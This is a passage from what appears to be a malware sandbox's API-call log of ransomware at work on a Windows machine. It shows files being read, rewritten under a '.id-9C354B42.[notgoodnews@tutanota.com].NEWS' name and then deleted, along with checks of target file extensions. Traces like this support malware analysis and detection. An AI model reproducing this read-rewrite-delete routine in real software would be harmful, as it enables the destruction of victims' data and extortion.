(lpString=".jpg") returned 4 [0064.720] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0064.720] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.720] lstrlenW (lpString="dwintl20.dll") returned 12 [0064.720] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0064.721] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=107912) returned 1 [0064.721] CloseHandle (hObject=0x1c0) returned 1 [0064.721] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0064.721] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.721] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0064.721] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0064.721] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0064.721] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0064.722] GetLastError () returned 0x0 [0064.722] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x35cfed4*=0x1a588, lpOverlapped=0x0) returned 1 [0064.781] WriteFile (in: hFile=0x210, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x35cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfc9c*=0x1a590, lpOverlapped=0x0) returned 1 [0064.789] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x35cfed4*=0x0, lpOverlapped=0x0) returned 1 [0064.789] WriteFile (in: hFile=0x210, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.789] SetEndOfFile (hFile=0x210) returned 1 [0064.790] CloseHandle (hObject=0x210) returned 1 [0064.791] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0064.791] SetEndOfFile (hFile=0x1c0) returned 1 [0064.794] CloseHandle (hObject=0x1c0) returned 1 [0064.794] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0064.795] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0064.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0064.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0064.795] lstrlenW (lpString=".doc") returned 4 [0064.795] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.795] lstrlenW (lpString=".docx") returned 5 [0064.795] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0064.795] lstrlenW (lpString=".pdf") returned 4 [0064.796] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.796] lstrlenW (lpString=".xls") returned 4 [0064.796] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.796] lstrlenW (lpString=".xlsx") returned 5 [0064.796] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0064.796] lstrlenW (lpString=".ppt") returned 4 [0064.796] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0064.796] lstrlenW (lpString=".zip") returned 4 [0064.796] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.796] lstrlenW (lpString=".rar") returned 4 [0064.796] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.796] lstrlenW (lpString=".bz2") returned 4 [0064.796] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.796] lstrlenW (lpString=".7z") returned 3 [0064.796] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0064.796] lstrlenW (lpString=".dbf") returned 4 [0064.796] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0064.796] lstrlenW (lpString=".1cd") returned 4 [0064.797] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0064.797] lstrlenW (lpString=".jpg") returned 4 [0064.797] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0064.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0064.797] lstrlenW (lpString=".doc") returned 4 [0064.797] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.797] lstrlenW (lpString=".docx") returned 5 [0064.797] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0064.797] lstrlenW (lpString=".pdf") returned 4 [0064.797] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.797] lstrlenW (lpString=".xls") returned 4 [0064.797] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.797] lstrlenW (lpString=".xlsx") returned 5 [0064.797] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0064.797] lstrlenW (lpString=".ppt") returned 4 [0064.797] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0064.798] lstrlenW (lpString=".zip") returned 4 [0064.798] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.798] lstrlenW (lpString=".rar") returned 4 [0064.798] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.798] lstrlenW (lpString=".bz2") returned 4 [0064.798] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.798] lstrlenW (lpString=".7z") returned 3 [0064.798] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0064.798] lstrlenW (lpString=".dbf") returned 4 [0064.798] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0064.798] lstrlenW (lpString=".1cd") returned 4 [0064.798] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0064.798] lstrlenW (lpString=".jpg") returned 4 [0064.798] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.799] lstrcmpiW (lpString1=".EXE", lpString2=".NEWS") returned -1 [0064.799] lstrlenW (lpString="DW20.EXE") returned 8 [0064.799] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0065.694] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=838536) returned 1 [0065.694] CloseHandle (hObject=0x1c0) returned 1 [0065.694] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0065.694] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.694] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0065.694] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.694] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.695] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0065.695] GetLastError () returned 0x0 [0065.695] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x35cfed4*=0xccb88, lpOverlapped=0x0) returned 1 [0065.720] WriteFile (in: hFile=0x210, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x35cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfc9c*=0xccb90, lpOverlapped=0x0) returned 1 [0066.075] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x35cfed4*=0x0, lpOverlapped=0x0) returned 1 [0066.075] WriteFile (in: hFile=0x210, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x35cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0066.075] SetEndOfFile (hFile=0x210) returned 1 [0066.075] CloseHandle (hObject=0x210) returned 1 [0066.076] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.076] SetEndOfFile (hFile=0x1c0) returned 1 [0066.089] CloseHandle (hObject=0x1c0) returned 1 [0066.089] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0066.089] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0066.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0066.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0066.090] lstrlenW (lpString=".doc") returned 4 [0066.090] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0066.090] lstrlenW (lpString=".docx") returned 5 [0066.090] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0066.090] lstrlenW (lpString=".pdf") returned 4 [0066.090] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0066.090] lstrlenW (lpString=".xls") returned 4 [0066.090] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0066.090] lstrlenW (lpString=".xlsx") returned 5 [0066.090] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0066.090] lstrlenW (lpString=".ppt") returned 4 [0066.090] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0066.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0066.090] lstrlenW (lpString=".zip") returned 4 [0066.091] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0066.091] lstrlenW (lpString=".rar") returned 4 [0066.091] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0066.091] lstrlenW (lpString=".bz2") returned 4 [0066.091] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0066.091] lstrlenW (lpString=".7z") returned 3 [0066.091] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0066.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0066.091] lstrlenW (lpString=".dbf") returned 4 [0066.091] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0066.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0066.091] lstrlenW (lpString=".1cd") returned 4 [0066.091] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0066.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0066.091] lstrlenW (lpString=".jpg") returned 4 [0066.091] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0066.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0066.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0066.091] lstrlenW (lpString=".doc") returned 4 [0066.091] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0066.091] lstrlenW (lpString=".docx") returned 5 [0066.092] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0066.092] lstrlenW (lpString=".pdf") returned 4 [0066.092] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0066.092] lstrlenW (lpString=".xls") returned 4 [0066.092] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0066.092] lstrlenW (lpString=".xlsx") returned 5 [0066.092] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0066.092] lstrlenW (lpString=".ppt") returned 4 [0066.092] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0066.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0066.092] lstrlenW (lpString=".zip") returned 4 [0066.092] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0066.092] lstrlenW (lpString=".rar") returned 4 [0066.092] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0066.092] lstrlenW (lpString=".bz2") returned 4 [0066.092] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0066.092] lstrlenW (lpString=".7z") returned 3 [0066.092] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0066.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0066.092] lstrlenW (lpString=".dbf") returned 4 [0066.092] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0066.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0066.092] lstrlenW (lpString=".1cd") returned 4 [0066.093] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0066.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0066.093] lstrlenW (lpString=".jpg") returned 4 [0066.093] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0066.093] lstrcmpiW (lpString1=".manifest", lpString2=".NEWS") returned -1 [0066.093] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0066.093] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0066.093] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=1857) returned 1 [0066.094] CloseHandle (hObject=0x1c0) returned 1 [0066.094] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0066.094] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.094] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0066.094] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.094] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.094] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0066.095] GetLastError () returned 0x0 [0066.095] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x35cfed4*=0x741, lpOverlapped=0x0) returned 1 [0066.317] WriteFile (in: hFile=0x210, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x35cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfc9c*=0x750, lpOverlapped=0x0) returned 1 [0066.319] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x35cfed4*=0x0, lpOverlapped=0x0) returned 1 [0066.319] WriteFile (in: hFile=0x210, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x35cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfc9c*=0x10a, lpOverlapped=0x0) returned 1 [0066.319] SetEndOfFile (hFile=0x210) returned 1 [0066.319] CloseHandle (hObject=0x210) returned 1 [0066.320] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.320] SetEndOfFile (hFile=0x1c0) returned 1 [0066.321] CloseHandle (hObject=0x1c0) returned 1 [0066.321] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0066.322] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0066.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0066.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0066.322] lstrlenW (lpString=".doc") returned 4 [0066.322] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0066.322] lstrlenW (lpString=".docx") returned 5 [0066.322] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0066.322] lstrlenW (lpString=".pdf") returned 4 [0066.322] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0066.322] lstrlenW (lpString=".xls") returned 4 [0066.322] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0066.322] lstrlenW (lpString=".xlsx") returned 5 [0066.323] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0066.323] lstrlenW (lpString=".ppt") returned 4 [0066.323] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0066.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0066.323] lstrlenW (lpString=".zip") returned 4 [0066.323] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0066.323] lstrlenW (lpString=".rar") returned 4 [0066.323] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0066.323] lstrlenW (lpString=".bz2") returned 4 [0066.323] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0066.323] lstrlenW (lpString=".7z") returned 3 [0066.323] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0066.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0066.323] lstrlenW (lpString=".dbf") returned 4 [0066.323] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0066.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0066.323] lstrlenW (lpString=".1cd") returned 4 [0066.323] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0066.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0066.324] lstrlenW (lpString=".jpg") returned 4 [0066.324] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0066.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0066.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0066.324] lstrlenW (lpString=".doc") returned 4 [0066.324] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0066.324] lstrlenW (lpString=".docx") returned 5 [0066.324] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0066.324] lstrlenW (lpString=".pdf") returned 4 [0066.324] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0066.324] lstrlenW (lpString=".xls") returned 4 [0066.324] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0066.324] lstrlenW (lpString=".xlsx") returned 5 [0066.324] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0066.324] lstrlenW (lpString=".ppt") returned 4 [0066.324] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0066.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0066.324] lstrlenW (lpString=".zip") returned 4 [0066.325] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0066.325] lstrlenW (lpString=".rar") returned 4 [0066.325] lstrcmpiW 